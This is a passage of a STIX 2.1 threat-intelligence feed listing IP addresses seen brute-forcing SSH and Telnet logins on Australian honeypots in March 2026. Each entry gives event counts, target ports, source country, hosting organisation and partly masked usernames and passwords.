      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.75.127.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--0abe1cc9-46ed-48da-b7fa-a8ba8512cc26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.186.182.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--8a84872b-41de-450a-ad32-2ed5e9f0ee74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.199.97.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: SC.",
      "id": "indicator--4a525271-b2cb-487d-96b4-d38449a7c4ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.5.189.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******, 1*******@, 2******3.",
      "id": "indicator--9cc98303-de4a-4420-9342-6fed4be43904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.44.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T15:15:14.000Z",
      "valid_until": "2026-04-05T15:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 79. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, W*********!, a********3.",
      "id": "indicator--8c57397c-a956-40a7-a831-99235f40d484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.103.245.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******t, 1********@, 3***********4, 3****3, 3**********4.",
      "id": "indicator--4c4b382b-20d4-48aa-b7a3-058a3ac8bd96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.143.11.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133118. Organisation(s): China Unicom IP network. Usernames observed (masked): r**t. Passwords observed (masked): m*****1, m*********3, r**t.",
      "id": "indicator--7f212a0b-1293-494d-91c2-8ef2388d49fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.74.128.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--5c234ef7-bbbb-42a7-a80a-6d4d1a5efe83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.172.46.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, t**t, u**r, u****u. Passwords observed (masked): 1***5, 1******8, 1*******9, p******d, 1****1.",
      "id": "indicator--406d8ab3-345c-4076-a27b-a89b629b6f5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.179.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********@, a****4, a****8.",
      "id": "indicator--d9c9399a-237e-4155-ae40-84c6a38bea24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.206.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 210731. Organisation(s): Forening for DotSrc. Usernames observed (masked): ***. Passwords observed (masked): I*************************t.",
      "id": "indicator--82449522-52be-42df-9c71-816fd1339f5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.129.61.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1*******9, 1********0, a***n, p******d.",
      "id": "indicator--a9a0e1f4-6bcf-485c-9a99-03b0b5404ee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.150.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******$, I********4, W*********!.",
      "id": "indicator--f0636d2f-c1e9-45db-bd61-a940c4a64e65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.74.71.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 202660. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******t, 1********@, 3****3.",
      "id": "indicator--f93382c6-d552-4ed1-a544-857a2724afc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.126.209.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--4192bde2-597d-42ce-bd8e-ef30cd617bd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:15:13.000Z",
      "valid_until": "2026-04-05T16:15:12.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 9****1, B********3, Q*********!.",
      "id": "indicator--669c20fa-8475-4770-a357-ae75dce5da8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.89.17.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****9, 3***********4, 3**********4, 9****1, Q*********!.",
      "id": "indicator--0e7986c6-9b80-4a84-83c2-291721114045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.154.62.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****9, 3***********4, 3**********4, P******1, Q********3.",
      "id": "indicator--a9ada4e2-2aea-4f59-9f3b-c521f1227e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.115.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138759. Organisation(s): NETMAX COMPUTERS.",
      "id": "indicator--b7eb69f0-f02a-4cb5-92e9-3dbc721e4daa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.98.37.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--911ccb78-aea7-4e7e-940f-36bea4a6d679",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.139.227.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c28a397b-312e-4133-be1a-21728ed2ea3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--4fa9732b-bc05-426c-8d1b-1ac5f92848da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.37.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 246. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1***5, 1****6, P******d, a***n, a******3.",
      "id": "indicator--86ef5788-a51a-47d8-976a-95d5064de1af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.202.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): ***. Passwords observed (masked): I*************************t.",
      "id": "indicator--296c2d59-5b6f-4b6b-b9ff-efee558bc839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a*********5.",
      "id": "indicator--acd56b61-a50c-4e9f-8454-bfe6c8953533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.252.85.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 133. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, u**r, c****g, g***t. Passwords observed (masked): 1**4, a***n, 0**************D, 1****6, *.",
      "id": "indicator--6e67dfda-912d-46db-bb7f-d6533d634ccc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.41.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--4890f3d6-4f53-4645-99a3-70b77c9792cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.140.211.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 202520. Organisation(s): SkyPass Solutions Sp. z.o.o.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ddb39294-55c8-4d0d-9c69-d6c55059db7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.168.68.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:15:13.000Z",
      "valid_until": "2026-04-05T17:15:11.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136284. Organisation(s): Paradise Telecom Pvt Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1********@.",
      "id": "indicator--f056e28e-2757-4cd1-a1ac-60cce09dfced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.86.180.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dac72868-4548-46e6-bd59-d784e504179f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--42c4fc80-a21a-41e1-a95c-a33a285fef37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.115.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 400619. Organisation(s): AROSSCLOUD INC.. Usernames observed (masked): r**t. Passwords observed (masked): 1******w.",
      "id": "indicator--93766e41-0153-4ea2-b5e5-f3a669df78f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.217.235.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
      "valid_until": "2026-04-05T18:15:12.000Z"
    },
    {
      "created": "2026-03-04T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********t, 3***********4, 3**********4, P*******4, Q******1.",
      "id": "indicator--5bbd960c-2730-4e03-b9d4-c0cb90e57afe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-04T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.54.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T18:15:13.000Z",
